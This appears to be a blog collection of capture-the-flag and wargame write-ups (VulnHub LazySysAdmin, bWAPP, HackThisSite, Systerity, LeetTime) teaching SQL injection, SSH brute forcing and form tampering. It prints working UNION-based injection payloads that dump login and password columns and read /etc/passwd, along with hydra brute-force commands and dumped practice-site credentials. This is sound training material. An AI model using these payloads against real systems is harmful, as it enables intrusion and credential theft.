LazySysAdmin Hacking Challenge

Introduction

Welcome back, everyone. On this new thread I will be posting my solution to the LazySysAdmin hacking challenge found in Vulnhub and my overall thoughts about it. I have to be honest, I struggled with completing this challenge primarily because I spend countless of hours looking for web applications flaws and inspecting every single avenue of exploitation. In hindsight, the challenge could have been completed in a matter of minutes, but of course the reality of arriving to such solution takes…hours.

The description of the challenge follows – The story of a lonely and lazy sysadmin who cries himself to sleep. According to the author, enumeration was key to solve this puzzle.

Tools used:
– Hydra
– SMBClient
– Dirbuster (or alike tools)
– Python, for automating tasks on the fly (more on this later).

Target Enumeration

There were a couple of open ports upon scanning the target, your standard HTTP port, SMB port, and SSH port. At first, the service on port 80 looked promising! I was wrong, big time. I spend a couple of hours a day looking at directory listings, analyzing WordPress install files, and PHPInfo(), however, this was a huge diversion. After giving up, I took another approach and was curious what the SMB daemon offered.

smbclient -L 192.168.0.14

I saw a couple of shares, 2 of which could not be used to leverage a vulnerability. I was able to connect to the share$ share and list the files on the document root.

smbclient '\\192.168.0.14\share$'

The deets.txt file grabbed my attention so I decided to download it and find its contents:

CBF Remembering all these passwords.

Remember to remove this file and update your password after we push out the server.

Password 12345

Brute Forcing Fun and Flag

I knew that 12345 was the password to something, but I was not sure what. Based on my research on the WordPress site previously, possible users were Admin, togie, or root. In context with the challenge (a lazy admin), I was positive that root login was enabled on the SSH daemon. The first thing I tried, despite having a possible password, was to brute force the root SSH account. I was shocked to find the following:

hydra -l  root -P cracker/rockyou.txt 192.168.0.14 ssh

The root password was indeed 12345. I was able to sign in via SSH and retrieve the flag.

After I completing this challenge, I had questions and I was wondering how secure the WordPress site was, after all it was running the latest version. After doing some recon on the file system, I placed the Admin’s password in one of my word lists to see if local brute force protection was enabled.

After 50 password attempts, I was able to brute force the admin page through XMLRPC. This password grants you access to the WP dashboard and MySQL database. What I found aligns with the context of a lazy system admin.

Conclusion

What did I learn? Well at first, I got lost in the sea of files and checking to see which ones were world-readable. I got very frustrated and I knew my last ditch was a brute force attempt – little did I know that was the fastest way to solve this challenge. A SSH brute force attack would have gotten you root access and the solution to this challenge. Once everything was figured out, everything looked simple, but I cannot hide the fact that this took me a couple of days to riddle! What was your solution?

Until next time,
May the s0urce be with you.

Advertisements

bWAPP SQL Injection (SQLite)

Introduction

Hi again. Today I have decided to document yet another unpublished challenge presented in bWAPP. This challenge concerns SQL Injection while the server uses the SQLite engine.

I will try to make this post relatively short, explaining the following:

  • Getting To Know Our Target
  • Finding Database Information (tables/columns/sqlite version)
  • Extracting Database Information
  • Last Words

Getting To Know Our Target

On this section of this thread, I want to spend some time talking about finding the SQL Injection vulnerability that exists and also some prep work that has to be done to get to our working injection.

This challenge has a very similar layout as the previous bWAPP challenge I posted; it allow users to search for movies titles. The vulnerability in itself is not difficult to find. Placing an apostrophe in the search string will induce an error:

sqlite_error

The page reveals a vague “Error: HY000” error message. I spent a few moments searching on Google for relevant results, but the information I was coming across not very useful. I am fairly confident in exploiting SQLi vulnerabilities, so I approached this challenge as I normally would.

The first step I took was to find out how many columns existed in the table that used in my query. The only problem with this error message is that it was not very informative in any way. I knew that any syntax error or incorrect information that I sent was going to produce this error. Using ORDER BY helped me get one step closer to the solution.

iron’ order by 300– <– Error: HY000
iron' order by 1– <– No error

I knew this was the path to exploitation and that my thoughts were on the right track. Few instances later, I discovered that there were 6 columns.

sqlite_columns

This was the preparation I required before I could proceed discovering more information about the database. This will be the transition to our next topic.

Finding Database Information (tables/columns/sqlite version)

Before I started to inject this web page, I knew what kind of information I was looking for. The issue was, I was not familiar with SQLite syntax. After looking at some SQLite documentation, I gathered enough information to know how to concatenate strings, find the SQLite version, and obtaining the tables and columns.

The following injections demonstrate the aforementioned concepts, thus completing the challenge.

Finding SQLite version:

'union+select+1,2,sqlite_version(),4,5,6--+-

sqlite_version

Finding database tables:

'union+select+1,2,name,4,5,6 from sqlite_master--+-

sqlite_name

This next injection will demonstrate how to retrieve the DDL statements used when creating the tables for the database. This will effectively reveal the tables and columns. The injection follows:

'union+select+1,2,sql,4,5,6 from sqlite_master--+-

sqlite_sql

The above image depicts the information needed; the login and password columns for the users table.

Extracting the login and password from the users table:

union+select+1,2,login||":"||password,4,5,6 from users--+-

sqlite_data_extraction

SQLite uses “||” as the operator to concatenate strings together. In this case, we are joining the login and password with a colon.

Last Words

This concludes this thread. As always, I really hope that you can take something from this reading. Although SQLite is not as popular as other RDBMSs, information disclosure can still be achieved via SQL injection.

Happy hacking!

bWAPP SQL Injection (AJAX/JSON/jQuery) Challenge

Introduction

On this thread, I will be posting the solution to the SQL Injection (AJAX/JSON/jQuery) challenge that can be found on the vulnerable bWAPP virtual machine. I have decided to post the solution because I could not find one available online.

This documentation will demonstrate how to exploit SQL injection flaws with the involvement of web technologies such as AJAX, JSON, and jQuery. I will be using the Burp Suite to intercept the requests being sent from my web browser and modifying them to test for vulnerabilities.

Tools being used:

Description Download
bWAPP http://www.itsecgames.com/
Burp Suite https://portswigger.net/burp/download.html

Getting To Know Your Target

This challenge starts off with with a search feature that can pose a potential threat to the web application. As users type in the search bar, movies begin to populate in a table according to what is being searched. This challenge is distinct from other SQLi challenges because the use of AJAX and JSON provides a real-time feed of the information begin requested. The images below captures this concept.

Screenshot from 2016-05-05 17:00:53

Screenshot from 2016-05-05 17:01:01

Tampering with the URL to generate an SQL syntax error will not be possible with this challenge.

nosqlierror

That being said, it is a good idea to intercept the client’s request and server’s response to get a better picture of how this application is working. Let’s see what happens when an apostrophe is inserted in the request.

Screenshot from 2016-05-05 17:05:05

A SQL syntax error is now apparent, being a good indication of an SQLi flaw. Now that we found our injection point, formulating working injection that will be able to speak to the database is our next step. When I was first attempting to solve this challenge, I tried many injections to no avail. It was very obvious to me that I needed a better understanding on what the SQL code in the background was doing, which transitions us to our next topic of discussion.

Analysing SQL Code For Flaws

Fortunately, we are given access to the bWAPP virtual machine. Soon I found the SQL code that was managing my requests to be the following:

$sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";

Screenshot from 2016-05-05 17:07:12

I never thought that I would be tampering with the SQL LIKE statement. My mind quickly simplified this code and wrote it down to start developing a working syntax to exploit the application:

$sql = "SELECT * FROM movies WHERE title LIKE '%iron%'";

I knew that essentially the above code was the request that was being interpreted.

Finding a Working Injection Point

Now that I understood the query being used, it was time to start testing some of my suspicions.

The search feature offered by this challenge allows users to search for any movie titles as it automatically populates the results. For example, you can search for Iron Man or Terminator, but the results can’t never yield both; unless we inject an extra LIKE statement.

In theory, we can get both movies to show up with the following injection:

iron%' or title like '%term

This will make the back-end SQL code look like this:

$sql = "SELECT * FROM movies WHERE title LIKE '%iron%' or title like '%term%'";

Screenshot from 2016-05-05 17:08:21

As anticipated, the search results contained both movies.

Extracting Database Information

Now that I had a working injection, I had to figure out how many columns exist in the Movies table. This missing portion of the puzzle was discovered by looking at the server’s response:

[{“0″:”2″,”id”:”2″,”1″:”Iron Man”,”title”:”Iron Man”,”2″:”2008″,”release_year”:”2008″,”3″:”action”,”genre”:”action”,”4″:”Tony Stark”,”main_character”:”Tony Stark”,”5″:”tt0371746″,”imdb”:”tt0371746″,”6″:”53″,”tickets_stock”:”53″}]

You can see that there are 7 columns based on the data. This was my opportunity to start extracting some information from the database and files from the server. This injection was very tricky because it only works as I will shortly demonstrate. Some of the injections I could get it to work with commenting out the code at the end, and other injections would work without commenting out the code at the end. This is strange to me because the last statement in the request was needed to complete a true statement. I’m not an SQL expert so I can live with this mystery.

Finding database version():

iron%'+union+select+1,version(),3,4,5,6,7+and'%'='

Screenshot from 2016-05-05 17:10:03

The tables can be found with the following injection:

iron%'+union+select+1,group_concat(table_name),4,5,6,7+from+information_schema.tables+where+table_schema=database()--+and'%'='

The columns for the users table can be extracted with the following injection:

iron%'+union+select+1,group_concat(column_name),4,5,6,7+from+information_schema.columns+where+table_name='users'--+and'%'='

Extracting login and password from database along with /etc/passwd file:

iron%'+union+select+1,group_concat(login,0x3a,password),load_file('/etc/passwd'),4,5,6,7+from+users--+and'%'='

Screenshot from 2016-05-05 17:56:25

Last Words

The key to completing this challenge rests within figuring out a way to inject the LIKE statement. Finding the vulnerability in this challenge was not difficult, but most of my time was spent discovering a working injection.

Hopefully you have learned something from this short reading. If you have any suggestion on what topics to cover or discuss next, please let me know.

Happy hacking!

HackThisSite Basic Challenges 1-5

Introduction

In this post I will be documenting most of the Basic Challenges found on HackThisSite.org. Completing these challenges will give you a very basic overview of HTML and Javascript Injection. The rest of the challenges will be documented in another post.

Basic – Level 1

Description: This level is what we call "The Idiot Test", if you can't complete it, don't give up on learning all you can, but, don't go begging to someone else for the answer, thats one way to get you hated/made fun of. Enter the password and you can continue.

The purpose of the first challenge is to test your HTML knowledge. Although nothing appears to be visible on the page, the password is commented out on the source code using Javascript. Inspecting the source is how this challenged will be solved.

<!-- the first few levels are extremely easy: password is 488918f4 -->

 

Basic – Level 2

Description: Network Security Sam set up a password protection script. He made it load the real password from an unencrypted text file and compare it to the password the user enters. However, he neglected to upload the password file...

This challenge will force you to comprehend the scenario that is being presented. Because Sam forgot to upload the password file, the password is going to be blank.

Basic – Level 3

Description: This time Network Security Sam remembered to upload the password file, but there were deeper problems than that.

This challenge will once again test your knowledge on basic HTML. Every form in HTML is enclosed within tags. Inspecting the source code of this form will provide an attacker with more insight:

<form action="/missions/basic/3/index.php" method="post">
<input type="hidden" name="file" value="password.php" />
<input type="password" name="password" />
<input type="submit" value="submit" /></form>

The action will tell the form where to go next once the form is submitted. The method is how this information will be transmit, $_POST suggest that the information will be sent to the server for interpretation, and $_GET suggests that there will be information that will be obtained from the server. In this case we will be sending the password.

It is important to understand how forms are made in HTML to complete this challenge. tags tell the form if the characteristic of a field is going to be a text box, a radio button, a text area, etc. This feature is denoted by type . The values can be “text” for text boxes, “password” for input to be obfuscated, and “hidden” for the field to be hidden. The name field in a form gives that input type a unique name, this is useful when using DOM because it knows how to access those specific fields using their given name. This becomes useful when utilizing Javascript injection (more ahead about this). The value is simple a name that shows up as a description of what that field is.

The page for this challenge only shows ONE text box, but as you can see there are TWO shown on the source. You can change the value “type” to “text” to show this form.

Although this does not do much but show the extra text box, it is interesting to see the value of this field – password.php. This challenge is highly unrealistic but it tells us the file where the password is stored. Pointing your browser to https://www.hackthissite.org/missions/basic/3/password.php solves this challenge.

Basic – Level 4

Description: This time Sam hardcoded the password into the script. However, the password is long and complex, and Sam is often forgetful. So he wrote a script that would email his password to him automatically in case he forgot. Here is the script

I found this challenge to be interesting because it can be completed in more than one way. One way is by using your knowledge on HTML, which is the easier way out of the two, and the second one is by using your knowledge on Javascript, which can be accomplished by using Javascript Injection to modify form values. Lets take a look at both these methods. The first method will cover HTML.

Method One – Editing HTML.

Lets begin by taking a look at how the form is set up in the source code:

<form action="/missions/basic/4/level4.php" method="post">
<input type="hidden" name="to" value="sam@hackthissite.org" />
<input type="submit" value="Send password to Sam" />
</form>

<b>Password:</b>
<form action="/missions/basic/4/index.php" method="post">
<input type="password" name="password" />
<input type="submit" value="submit" />
</form>

This method is very similar to challenge 3, where there is a hidden form in the source. If you pay attention to the second line of the source code above, you will notice that the password is being sent to sam@hackthissite.org. This is the value that we need to edit. By changing the input type to “text” will cause the field to appear on the page; allowing you to edit the email and submit the form, concluding this challenge:

Method two – Javascript Injection.
The last method to solve this challenge is by editing the form my tampering with the elements with Javascript. Lets revisit our source code:

<form action="/missions/basic/4/level4.php" method="post">
<input type="hidden" name="to" value="sam@hackthissite.org" />
<input type="submit" value="Send password to Sam" />
</form>

<b>Password:</b>
<form action="/missions/basic/4/index.php" method="post">
<input type="password" name="password" />
<input type="submit" value="submit" />
</form>

In order to pull this attack off, it is necessary to understand how javascript handles forms. Every form in Javascript is contained in an array called forms[x], where x is the number of forms on the page starting from zero. This is important for this challenge because the value that we want to edit on this page is on the first form, therefore in our injection point, we will be using forms[0]. Changing the value of sam@hackthissite.org can be accomplished in two ways. The first is accessing the name of the input type and inserting our own value, and the second way is by modifying the element that corresponds to that value and inserting our own.

Lets take a closer look at our code:

<input type="hidden" name="to" value="sam@hackthissite.org" />

If we wanted to get the value of this field, our injection becomes:

javascript:alert(document.forms[0].to.value);

Everything on this injection is derived from the code that was supplied at source. forms[0] is included because its the first form, and “to.value” is included because to is the value of the field’s name. Inserting the above injection in the URL will display “sam@hackthissite.org”.

At this point we can specify the value for this field with:

javascript:alert(document.forms[0].to.value="yourEmail@gmail.com");

In order to pass this challenge, you need to send the password to the email you registered on HTS.

The last method to finish this challenge is by modifying the element that corresponds to that value and editing it. To accomplish this, we first need to understand what are elements when it comes to javascript. An HTML element is an single component of a form. These components represent a value within the forms, they can represent values throughout the entire markup. Take a look at the source code below provided by the challenge:

<input type="hidden" name="to" value="sam@hackthissite.org" />
<input type="submit" value="Send password to Sam" />

There are two values for the input tags, the first value is the email – sam@hackthissite.org, and the second value is “Send password to Sam”. We can use their elements to change their values. We will grab the first available element and see the value. This can be done with:

javascript:alert(document.forms[0].elements[0].value)

The page will display an alert box that says “sam@hackthissite.org”. If we change the value of our element to 1:

javascript:alert(document.forms[0].elements[1].value)

The page will display an alert box that says “Send password to Sam”. From here you can change the value of the email using its element to complete the challenge:

javascript:alert(document.forms[0].elements[0].value="yourEmail@gmail.com")

Concluding the challenge in two different ways.
 

Basic – Level 5

Description: Sam has gotten wise to all the people who wrote their own forms to get the password. Rather than actually learn the password, he decided to make his email program a little more secure.

This challenge is very similar to the previous challenge, I was not sure if there was suppose to be a difference, however, I did complete it the same way as challenge 4.

javascript:alert(document.forms[0].to.value="yourEmail@gmail.com")

I will conclude the first few challenges here and document the rest another in another post. This thread will be updated with a continuation link to the next challenges.

Thank you for reading!

Systerity Web Hacking Challenge

Introduction

Today I will be documenting a Web Hacking Challenge created by a group known as Systerity. This challenge will not involve Web Application exploitation but rather your analytical filters encompassing:

  • Directory Traversals
  • ROT 13 Decoding
  • Base64 Decoding
  • Basic Comprehension Skills

Getting To Know Your Target

The challenge is located at:
http://wargames.systerity.com/Web/

The goal of this challenge is simple – you need to report the Hackers IP Address using a reporting tool that is built in the Content Management System. The challenge starts off with the site being defaced by the hacker, with an image that says “HackeD”. Analyzing the source code (poorly written HTML) is a good way to find where this image is located in the site:

<img src="admin/images/skidded.jpg">

We can traverse to the directory of where the image is being hosted:
http://wargames.systerity.com/Web/admin/images/

And i find a “readme.txt” file that gave me more information about the directories. In my mind, every directory (at least the ones that mattered for this challenge) contained a “readme.txt” file that would give me more information about something that is relevant for my next move.

I went to the parent folder and traversed to the admin directory:
http://wargames.systerity.com/Web/admin/
http://wargames.systerity.com/Web/admin/images/../

I was greeted for with an Admin Panel:

For man-made challenges like these, it is always a good idea to test for SQL Injection vulnerabilities or fuzz the forms for input validation. I did attempt it for this challenge, but it was beyond the scope of how to complete it and input was sanitized as far as I could tell.

I clicked “Find Password”:

But in order to get the current password you need to find the old password. I had to think of an alternative, then I remembered that there was “readme.txt” file in every directory that contained more information. I wanted to test if this was the case.

http://wargames.systerity.com/Web/admin/readme.txt

Sure enough, the contents inscribed provided me with the default password “alpine”, which possibly was not changed by the admin.

Going back to the “Find Password” page, issuing “alpine” as the old password gave me access to the current password – “alpine2”.

I went back to the admin login panel and authenticated as the admin:

At this point I could not think that the challenge was over but only has begun. I had a mission, and that was to find the IP Address of the attacker and report it. So I did some detective work.

The “User Accounts” link gave me a list of users, which could be useful:

Admin
N00BStuh
DethMutul
Sk1dd3h_B01
ANTISKID
GENFORMATION
EEMNOOO
imnotspam
STAHPIT
Hai

The checked the user logs and found no traces of anything worth documenting, however for the admin logs; I did find something:

[30/12/14-01:33] 33.120.42.22 logged off.

It was apparent to me that 33.120.42.22 was the IP of the hacker that defaced the site. That solves one piece of this mystery but I still needed to find this reporting tool to blacklist the attacker. The last thing that I could find was a corrupted backup:

http://wargames.systerity.com/Web/admin/backups/backup_001

This part of the challenge was basic. Any files that include numbers on their names are worth changing, specially with files like logs or files that include IDs in their name because they are formatted to increment when other files are added. With that notion in mind, changing the name from backup_001 to backup_002, backup_003, etc, may give you varying results. For this challenge, the only valid file after backup_001 was backup_002, other backups_00x we not existent.

http://wargames.systerity.com/Web/admin/backups/backup_002

Encoded(/tools/readme.txt):-
SnJvem5mZ3JlLA0KDQpWYSBndXZmIHNieXFyZSBsYmggdW5pciBmYnpyIGdiYnlmIGxiaCBwbmEgaGZyLiBHdXIgemJmZyBjYmNoeW5lIGJhciB2ZiBndXIgImVyY2JlZyIgZ2JieS4gR3V2ZiBqdnl5IGVyY2JlZyBndXIgVkMgYnMgbmFsIGhmcmUgbGJoIHNycnkgdW5mIHBlYmZmcnEgbiB5dmFyLiBWZyBwbmEgb3Igc2JoYXEgdmEgL2diYnlmL2VyY2JlZy5jdWMNCg0KR254ciBuIHliYnggbmViaGFxIG5hcSBsYmgneXkgeXZ4ciBqdW5nIGxiaCdpciBmcnJhLg==

Although it was not very useful, I did try to check the following location based on the what was inside encoded(); and there was nothing useful there. This message is encoded in Base64, so I decoded it and got:

Jroznfgre,

Va guvf sbyqre lbh unir fbzr gbbyf lbh pna hfr. Gur zbfg cbchyne bar vf gur "ercbeg" gbby. Guvf jvyy ercbeg gur VC bs nal hfre lbh srry unf pebffrq n yvar. Vg pna or sbhaq va /gbbyf/ercbeg.cuc

Gnxr n ybbx nebhaq naq lbh'yy yvxr jung lbh'ir frra.

This message did not make any sense to me when I fist seen it. I took some pen and paper and spent 10 minutes to figure out how it was encoded. After several sheets of paper and later realizing the actual name of this encoding scheme, all of these characters were placed 13 places after from their original letter. This is also known at ROT13 or Rotation 13.

After decoding, the message started to make sense:

Webmaster, In this folder you have some tools you can use. The most popular one is the "report" tool. This will report the IP of any user you feel has crossed a line. It can be found in /tools/report.php Take a look around and you'll like what you've seen.

Finally, we traverse to our reporting tool located:
http://wargames.systerity.com/Web/admin/tools/report.php

The challenge is done once the IP Address is reported:

Conclusion

Thank you for taking the time to view my post. Understanding encoding schemes was the general focus of this challenge. I will try to post the other challenges from Systerity, they’ve all been fun to solve!

Happy Hunting!

LeetTime.net Death Row SQL Injection Challenges

This post will document some challenges found in LeetTime.net for their Death Row SQL Injection. I wanted to explain how to exploit the Web Applications and why exploitation works.  A basic understanding of SQL may be needed for the comprehension of these exercises. The pseudo code that is being displayed for these examples are just fictional representations of what the code in the back-end may appear to be.

Death Row Injection – Challenge 1.

The first challenge is very basic. There is not much syntax to make up and it usually follows the same methodology for exploiting SQL Injections.

Vulnerable Parameter – Server Request:
http://leettime.net/sqlninja.com/tasks/deathrow_ch1.php?id=1'

Server Response – Error On Page:
SQL Syntax Error around ' and id=1' limit 1

Possible Pseudo Code:

SELECT * FROM table WHERE ID=1 limit 1

Why It Works – Server Request:

SELECT * FROM table WHERE ID=-1 union select 1,version(),3,4,5-- limit 1

 

Death Row Injection – Challenge 2.

Vulnerable Parameter – Server Request:
http://leettime.net/sqlninja.com/tasks/deathrow_ch2.php?id=1'

Server Response – Error On Page:
SQL Syntax Error around '))

Possible Pseudo Code:

SELECT * FROM table WHERE (ID=(1))

Why It Works – Server Request:

SELECT * FROM table WHERE (ID=(-1)) union select 1,version()--+-))

 

Death Row Injection – Challenge 3.

Vulnerable Parameter – Server Request:
http://leettime.net/sqlninja.com/tasks/deathrow_ch3.php?id=1"

Server Response – Error On Page:
SQL Syntax Error around "1"" limit 1

Possible Pseudo Code:

SELECT * FROM table WHERE ID="1" limit 1

Why It Works – Server Request:

SELECT * FROM table WHERE ID="-1" union select 1,2,3,version(),5--+-" limit 1

 

Death Row Injection – Challenge 4.

Vulnerable Parameter – Server Request:
http://leettime.net/sqlninja.com/tasks/deathrow_ch4.php?id=1"

Server Response – Error On Page:
SQL Syntax Error around "1")

Possible Pseudo Code:

SELECT * FROM table WHERE ID=("1")

Why It Works – Server Request:

SELECT * FROM table WHERE ID=("-1") union select 1,2,3,version(),5,6,7--+-")

MySQL Injection

Introduction

Today, I will be writing a simple PoC on SQL Injections. By reading this information, you agree that you are responsible for the damage you cause to personal property.

Any web application that allows user input as a derivative to perform an action can be prone to command injection. Attackers can craft unique queries that can result in database information disclosure of sensitive data.

The SQL structures are compartmentalized into Servers, Databases, Tables, Columns, and Rows. The SQL Server is the software running on the machine waiting for instructions from a terminal or commands over the internet. This SQL Server is comprised of one or many databases.These databases are used for the storage of information and are composed of tables, and these tables composed of columns and rows. Below is a simple concept that demonstrates how records are stored in a MySQL database.

Tables > Columns > Records

Tables contain columns and columns have records. For example: Members can be a table, Name can be a column, and the actual value is the record.

What is SQL Injection?

SQL Injection is a server-side web application vulnerability that occurs on the database layer of the web application that allows users to execute arbitrary code to alter, modify, or delete data. This is possible through carefully crafted SQL Statements that are inserted via $GET or $POST parameters. Essentially an attacker is aiming to match the SQL Syntax that coincides with the written application to execute their own code. SQLi comes in various different forms and techniques, usually exploiting MySQL, MsSQL, Postgre SQL, Oracle, and even Access Databases.  Now that we have a very generic understanding of SQLi, the next section will discuss on how to spot this vulnerability and exploit them.

Finding SQL Injection Vulnerabilities

SQL Injection vulnerabilities can be found on any web page that uses a database to store user credentials, product information, current news pertaining to the site, credit card numbers, access logs, and more. For this demonstration I will be exploiting this flaw on a system that allows user testing. This will simulate a real world scenario on how attackers take advantage of this vulnerability. In order to understand how this attack works, we need to take a look at the URL and create pseudo code, because SQL is not visible by the client.

Target: http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1

The back-end SQL code for this example should look similar to:

SELECT * FROM table WHERE ID=1

The above code is proper syntax for the application to behave as it should. The most important part of identifying this vulnerability is by placing an ‘ (apostrophe), at the end of the parameter a script is using to cause a syntax error to verify that the application is vulnerable to this attack. Now our URL becomes:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1'

When the results are sent to the server, the webpage generates an error:

You have an error in your SQL Syntax; Check the manual that corresponds to your MySQL Server version for the right syntax to use near "1'" at line 1

It is very important that we analyze the error that is being displayed. The application generates an error because the SQL Code is not proper:

SELECT * FROM table WHERE ID=1'

The application is looking for an ID of 1 and 1′ is not a valid entry. Now that the vulnerability has been confirmed, we need to determine how many columns are available. This is important because we need to know how many fields to use in our injection – ‘ORDER BY <number of columns>‘ will be used to determine how many columns are being used. Below is the request being sent:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' order by 300--+-

With this request, you are asking the database if the there are 300 columns, I usually use this range because there almost never 300 fields in the database that are being used in the code, to verify that I can start guessing. –+- is being used to comment the rest of the SQL Code. The response from the server follows:

Unknown column '300' in 'order clause'

Server response tells us that the are not 300 columns, so we keep enumerating until we get a valid number

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' order by 10--+- <-- Error

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' order by 5--+- <-- Error

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' order by 4--+- <-- Error

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' order by 3--+- <-- No Error!

Now that we know that there are 3 columns, we need to find which columns are visible for injecting. We will replace our queries in place of this number in the URL. In order to do that we need to use ‘UNION SELECT <Number of Columns>‘ and also make our statement false, our request will be:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,2,3--+-

False statements can be made in several different ways such as:

If you pay close attention, you will see a random “2” appear on the site. This means that in our query, column 2 will be replaced with our query to extract information from the database. In a real life penetration test, these random numbers that appear on the site will range from the column count and can be shown anywhere on the page.

The next step is to find some useful information about the database such as the user, the database name, and most importantly the version.

  • version() <– Displays Database Version
  • @@version <– Displays Database Version
  • user() <– Displays Current Database User
  • database() <– Displays Current Database In Use

Lets extract some information:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,version(),3--+-

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,user(),3--+-

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,database(),3--+-

  1. Version = 5.5.42=cll
  2. Current User = leettime_W89sst1@localhost
  3. Current Database = leettime_761wHole

The version is a very important piece of information because it will tell us if this attack can be automated. Databases whose version are lower than 5 cannot use information_schema database. This is necessary when obtaining all the tables from the database, which will be our next step in this attack.

In order to retrieve all the tables from the database the following query will need to be sent to the server:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+-

Which retrieves the tables – testtable1, userlogs, and users. Let me explain the above statement. Group_concat() is a function to concatenate information, meaning, it will group all the information and separate each field with a comma. In this case we are grouping all the table which are denoted by the field or column name table_name (simple enough to remember?) in the information_schema database on the “tables” table. The last part of our query tells the database that we will be using our current database for the retrieval of these tables, which we know is database(). This explanation can be confusing, below is the simple structure of the query, as it goes from general to specific:

  1. SELECT column(s) FROM table WHERE <condition>
  2. SELECT column(s) FROM database.table WHERE <condition>
  3. SELECT table_name FROM information_schema.tables WHERE table_schema=database()
  4. SELECT group_concat(table_name) FROM database.table WHERE table_schema=database()

Our job at this point is to select a table that may contain sensitive user information. From our list, the table “users” will satisfy that need. The next phase is to extract the columns from that table. This can be done in several forms:

  1. http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+-
  2. http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273–+-
  3. http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=CHAR(117, 115, 101, 114, 115)–+-

A couple of things changed here, “table_name” becomes “column_names” and “information_schema.tables” becomes “information_schema.tables“. Our WHERE clause also changes to “table_name='<table_name>’“.

The first form shows that the value for “table_name” is ‘users’. This is the table in plain text and can be done in this form because single quotes are not escaped or filtered.

The second form shows that the value for “table_name” is ‘0x7573657273’ which is hexidecimal value for the word “users”.

Lastly, the final way to specify the value for “table_name” is by using CHAR(). Here each letter of the word “users” is replaced with the ASCII representation of that letter. For example, 117 is “u”, 115 is “s”, 114 is “e”, etc.

The webpage loads with the requested information and provides us with the columns for the “users” table – id, username, password, user_type, and sec_code. The columns we are interested in are “username” and “password“. Now we extract the information from those fields like so:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+-

The username and password are being concatenated together with 0x3a which is hex for a colon “:” and every field separated by a comma. The final response extract the username and password from the users table:

  • injector:khan,decompiler:hacktract,devilhunte:dante,Zen:sec-idiots,Zenodermus:security-i,grayhat:hacker,khan:haxor,admin:sadmin

Conclusion

Based on the demonstrated concept above, SQL Injection can be used to disclose personal user information. This post did not describe an intricate method on how to perform this attack, as it is the most basic forms of SQL Injection. A lot of topics were excluded from this post due to the length of the material. However, it provides the public with a general understanding on how the attack can be done.

Thank you for reading!